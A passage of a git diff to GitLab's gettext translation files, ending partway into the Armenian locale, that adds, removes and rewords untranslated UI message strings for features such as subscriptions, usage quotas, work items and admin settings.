+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/hy_AM/gitlab.po b/locale/hy_AM/gitlab.po
index db4136d878f..493525cc34e 100644
--- a/locale/hy_AM/gitlab.po
+++ b/locale/hy_AM/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: hy-AM\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:40\n"
+"PO-Revision-Date: 2023-01-10 06:44\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
